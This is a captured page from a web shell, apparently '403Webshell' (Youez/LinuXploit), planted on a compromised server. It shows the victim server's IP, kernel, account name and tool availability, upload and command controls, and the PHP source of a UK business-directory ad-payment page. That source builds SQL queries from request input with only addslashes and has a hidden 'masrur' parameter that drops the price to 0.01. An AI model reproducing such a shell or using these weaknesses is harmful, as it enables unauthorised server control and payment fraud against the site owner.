403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.135.190.163
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/members/postbusiness7.html
<?php
$path  = $_SERVER['DOCUMENT_ROOT'];
include_once $path.'/connect_db.php';
include 'accesscontrol.php';
// css for menu
$styleSubmit = 'color:#ff6131;background-color:#fff;border-top:1px solid #c9c9c9;font-weight:bold;';
$adid=addslashes($_GET['adid']);

$ads_sql = $connect->query("SELECT * FROM ads where memberid ='{$memberid}' AND adid='{$adid}' order by adid desc");
$ads_row = $ads_sql->fetch_array();

$company_name_url=strtolower($ads_row['companyname']);
$company_name_url=str_replace(" ","-",$company_name_url);

$price = 14.95; 
if(addslashes($_GET['masrur'])){$price = 0.01;}
$price = money_format_fun($price);

function money_format_fun($val) {
    $val = number_format((float)$val, 2, '.', ',');
    return $val;
}
?>
<!DOCTYPE html>  
<html>
<!-- <?=$_SERVER['SERVER_ADDR'];?>-->
<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>YellowLeaf UK</title>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/header-footer/global.css">
<link rel="stylesheet" href="submit-advert.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<link href="style.css" rel="stylesheet" type="text/css">
    <!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-2256305-8"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-2256305-8');
</script>
    <!-- Hotjar Tracking Code for http://www.yellowleaf.co.uk/ -->
<script>
        (function(h,o,t,j,a,r){
            h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
            h._hjSettings={hjid:1378065,hjsv:6};
            a=o.getElementsByTagName('head')[0];
            r=o.createElement('script');r.async=1;
            r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
            a.appendChild(r);
        })(window,document,'https://static.hotjar.com/c/hotjar-','.js?sv=');
    </script>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>YellowLeaf UK</title>
<style>
html,body{padding:0;margin:0;}
body{font-family:Arial, Helvetica, sans-serif;}
*{box-sizing:border-box}
h1{text-align:center;font-weight:300;font-size:50px;color:#fff;margin-bottom:0;}
h2{text-align:center;font-weight:300;font-size:30px;color:#fff;}

.cn,.cn2{width:100%;max-width:1080px;margin:auto;}
.cn2{max-width:1400px;}
header{
    background:#efefef;padding:20px;text-align: center;
}

#banner{text-shadow:1px 1px 1px black;background:rgba(0,0,0,0.3)}
.regInfo{font-size:0;}
.regInfo tr{display:inline-block;width:50%;height:100px;font-size:16px;vertical-align:middle;border:1px solid #ccc;border-width:0px 1px 1px 0px;margin:0;box-sizing:border-box;}
.regInfo tr:nth-child(odd){border-left-width:1px;}
.regInfo tr td:first-child{padding-left:20px;}
.regInfo td{padding:25px 10px;vertical-align:middle;}
.regDescTitle{font-weight:300;font-size:20px;}

.plans_cn{text-align:center;}
.plan{display:inline-block;vertical-align:top;width:40%;margin:30px 2% 0;background:#fff;border:1px solid #ccc;padding:0 20px 20px;text-align:center;border-radius:5px;}
.plan > h1{color:black;font-weight:300;font-size:35px;}
.plan > h1 svg{position: relative;
    top: 7px;
    width: 38px;
    height: 41px;}
.plan > h2{color:#222;font-weight:300;font-size:30px;}
.plan li{text-align:left;padding:5px 0;}
.plan > .btn{display:inline-block;
    border: 0;
    background-image: -webkit-linear-gradient(top, #ffffff 0%, #e0e0e0 100%);
    background-image: -o-linear-gradient(top, #ffffff 0%, #e0e0e0 100%);
    background-image: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#e0e0e0));
    background-image: linear-gradient(to bottom, #ffffff 0%, #e0e0e0 100%);
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);
    filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);
    background-repeat: repeat-x;
    border-color: #dbdbdb;
    text-shadow: 0 1px 0 #fff;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);
    border: 1px solid #ccc;
    color: #222;
    outline: 0;
    padding: 10px 30px;
    font-size:15px;
    text-decoration: none !important;
    text-shadow: 0 1px 0px rgba(0,0,0,0.20);
    border-radius:24px;
    margin:30px 0 10px;
}
.plan > .btn:hover{
    background-color: #e0e0e0;
    background-position: 0 -15px;
}
.btn.blue{background: #4584f0; color:#fff;
    border-bottom: 2px solid #104EB9;}
.btn.gold{font-weight:700;
    border-color: #ffa400;
    background: #ffca28;
    background: -moz-linear-gradient(top, #ffca28 0%, #ffa000 100%);
    background: -webkit-linear-gradient(top, #ffca28 0%, #ffa000 100%);
    background: linear-gradient(to bottom, #ffca28 0%, #ffa000 100%);
    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffca28', endColorstr='#ffa000', GradientType=0);
}
.btn.gold:hover{    border-color: #f39c00;
    background: #ffca3a;
    background: -moz-linear-gradient(top, #ffca3a 0%, #fb8109 100%);
    background: -webkit-linear-gradient(top, #ffca3a 0%, #fb8109 100%);
    background: linear-gradient(to bottom, #ffca3a 0%, #fb8109 100%);
    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffca3a', endColorstr='#fb8109', GradientType=0);}

    @-webkit-keyframes fadeIn {
    from {opacity: 0;}
    to {opacity: 1;}
}

@keyframes fadeIn {
    from {opacity: 0;}
    to {opacity: 1;}
}

</style>

</head>

<body>

<?php
include_once $path.'/header-footer/header.html';
?>
<header class="cn2">
    <div class="cn">
        <img src="/img/logo.png" alt="" />
    </div>
</header>
<div class="cn2" style="background:url('banner.png') no-repeat;background-size:cover;">
    <div class="cn2" style="padding:50px 0;" id="banner">
        <h1>Get New Customers To Your Business</h1>
        <h2>Advertise Your Business in <span id="js_change"></span></h2>
    </div>
</div>

<div class="cn2">
    <table class="regTblInfo regInfo" width="100%" cellspacing=0 cellpadding=0>
        <tbody>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">LASTS FOREVER</div>
                Your business listing on YellowLeaf will never expire.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">INSTANT CHANGES</div>
                Instantly change your business advert on YellowLeaf without any hassle or confusion.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">BUSINESS PROFILE</div>
                Become more known and build your reputation on the web.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">PHOTO UPLOAD</div>
                YellowLeaf provides you the opportunity to promote your business with photos.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">SEARCH ENGINE OPTIMISED</div>
                Get found on search engines, your business advert will be search engine optimised.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">LINK TO YOUR WEBSITE</div>
                If you have a website, promote it free.	Get a free link to your website, increase exposure to your website.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">SOCIAL LINKS</div>
                Increase your business popularity by promoting all of your major social links of your business from Facebook, Twittier and many more.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">PROMOTIONS FACILITY</div>
                Does your business have promotions to offer to your customers? Add UNLIMITED amount of promotions.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">BOOST YOUR SALES</div>
                Advertise with YellowLeaf and increase your exposure and boost your sales.</td>
            </tr>
            <tr class="regInfoTr">
                <td class="regInfoImg" valign="top"><img border="0" src="/img/tick_medium.png"></td>
                <td valign="top"><div class="regDescTitle">LOCALLY TARGETED ADS</div>
                Your advert will be targeted to particular users that are located near you.</td>
            </tr>
        </tbody>
    </table>
</div>

<div class="cn2" style="background:#666;padding:60px 0 100px;margin-bottom:0;background:#1976d2;">
    <h1 style="margin:0 0 20px;padding-left:60px">Advertise Your Business</h1>
    <h2 style="margin:0 0 50px;padding-left:60px">One-off payment - Lasts a lifetime</h2>
    <div class="plans_cn">
        <div class="plan">
            <h1>Free Submission</h1>
            <h2>&pound;0</h2>
            <ul>
                <li>Get Full Listing Page</li>
                <li>Plain advert</li>
                <li>Appears below premium listings in search</li>
                <li>Approval rate: low</li>
                <li>Approval time: Indefinite</li>
            </ul>
            <a href="/members/" class="btn">Submit Business</a>
        </div>
        <div class="plan">
            <h1>
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 267.5 267.5" width="512" height="512"><path d="M256.975 100.34a7.48 7.48 0 0 1-.198 2.229l-16.5 66a7.503 7.503 0 0 1-7.238 5.681l-99 .5H35a7.5 7.5 0 0 1-7.277-5.688l-16.5-66.25a7.488 7.488 0 0 1-.197-2.289C4.643 98.512 0 92.539 0 85.5c0-8.685 7.065-15.75 15.75-15.75S31.5 76.815 31.5 85.5c0 4.891-2.241 9.267-5.75 12.158l20.658 20.814c5.221 5.261 12.466 8.277 19.878 8.277 8.764 0 17.12-4.162 22.382-11.135l33.95-44.984A15.694 15.694 0 0 1 118 59.5c0-8.685 7.065-15.75 15.75-15.75s15.75 7.065 15.75 15.75c0 4.212-1.672 8.035-4.375 10.864.009.012.02.022.029.035l33.704 45.108c5.26 7.04 13.646 11.243 22.435 11.243 7.48 0 14.514-2.913 19.803-8.203l20.788-20.788C238.301 94.869 236 90.451 236 85.5c0-8.685 7.065-15.75 15.75-15.75s15.75 7.065 15.75 15.75c0 6.851-4.405 12.678-10.525 14.84zm-18.308 97.91a7.5 7.5 0 0 0-7.5-7.5h-194a7.5 7.5 0 0 0-7.5 7.5v18a7.5 7.5 0 0 0 7.5 7.5h194a7.5 7.5 0 0 0 7.5-7.5v-18z" fill="#ffb83d"/></svg>
                Express Submission
            </h1>
            <h2>&pound;<?=$price?> (inc. VAT)</h2>
            <ul>
                <li>Get Full Listing Page</li>
                <li>Distinct gold advert</li>
                <li>Always appear above standard listings</li>
                <li>Approval rate: 100%</li>
                <li><mark>Approval time: Instant</mark></li>
            </ul>
            <a href="#" onclick="package(<?=$price?>);return false;" class="btn gold">Advertise My Business</a>
        </div>
    </div>
</div>
<div id="popup" style="background:rgba(0,0,0,0.3);position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;padding-top:100px;display:none;animation:fadeIn 300ms ease-out">
    <div style="border-radius:3px;border:1px solid #ccc;background:#fff;margin:auto;width:100%;max-width:500px;padding:30px 100px;">
        <h2 style="margin:0 10px 20px;text-align:center;color:#333;">Checkout</h2>
        <div id="paypal-button" style="width:250px;margin:auto;"></div>
    </div>
</div>
<form action="paypal/process.php" method="post" id="paypal_form">
    <input type="hidden" name="adid" value="<?=$adid?>" />
    <input type="hidden" name="paypal" id="paypal" />
</form>
<input type="hidden" id="amount" value="15" />
<script>
var i = 0,
    isDeleting = 1,
    p = 0,
    t = 1,
    countries = ["London","West Midlands","Greater Manchester","Yorkshire","Hampshire","Kent","Essex","Lancashire","Merseyside","Devon","Surrey","Hertfordshire",""],
    their_country = "London";

countries.indexOf(their_country) === -1 ? countries.push(their_country) : their_country;
if (countries.indexOf(their_country) > 0) {
    var index = countries.indexOf(their_country);
    countries.splice(index, 1);
    countries.unshift(their_country);
}
document.getElementById('js_change').innerHTML = "";
window.onload = function() {
    var update = setInterval(function() {
        update_text();
    }, 84);
};

function package(price){
    el('amount').value = (price).toFixed(2);
    el('popup').style.display = "block";
}

function update_text() {
    var span = document.getElementById('js_change'),
        text = span.textContent;
    if (text.length < countries[i].length && isDeleting == 1) {
        if (t == 2) {
            i += 1;
            if (i == countries.length - 1) {
                i = 0;
            }
            t = 0;
        }
        if (countries[i][text.length] == " ") {
            var inc = 2;
        } else {
            var inc = 1;
        }
        span.innerHTML = countries[i].substring(0, text.length + inc);
    } else {
        if (p < 20 && isDeleting == 1) {
            p += 1;
        } else {
            p = 0;
            isDeleting = 0;
            if (t == 0) {
                t += 1;
            }
            if (text.length > 0) {
                span.innerHTML = countries[i].substring(0, text.length - 1);
            } else {
                isDeleting = 1;
                t += 1;
            }
        }
    }
}

function el(elem){
    return document.getElementById(elem);
}
</script>

<script type="text/javascript" src="https://www.paypalobjects.com/api/checkout.js" SameSite=None Secure></script>
<script>
paypal.Button.render({
    env: 'production', /*Or 'sandbox' or 'production'*/

    client: {
        production:    'AQWtCYRPeT0l9j5I4bRFJvqC4Km1cLniJRSImF40mCibR7s6taoI4rUTs8ZP4OnF09lpGeIplL-dYay7' 
    },
    commit: false,
    style: { shape: 'rect', label: 'pay', size: 'medium', color: 'gold' },

    payment: function(data, actions) {
        return actions.payment.create({
            payment: {
                transactions: [
                    {
                        amount: { total: el('amount').value, currency: 'GBP'},
                        "item_list": {
                            "items": [
                                {
                                    "name": "Yellow Leaf Listing",
                                    "price": el('amount').value,
                                    "quantity":1,
                                    "currency": "GBP"
                                } 
                            ]
                        }
                    }
                ]
            }
        });
    },

    onAuthorize: function(data, actions) {

        return actions.payment.execute().then(function(payment) {
            gtag('event', 'purchased ad', {
                'event_category': 'purchase',
                'event_label': 'express_submition',
                'value': el('amount').value
            });
            document.getElementById('paypal').value = JSON.stringify(data, null, 4);
            document.getElementById('paypal_form').submit();
        });
    },

    onError: function(err) {
        console.log(err);
    }

}, '#paypal-button');

</script>

<?php
   include_once $path.'/header-footer/footer.html';
?>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit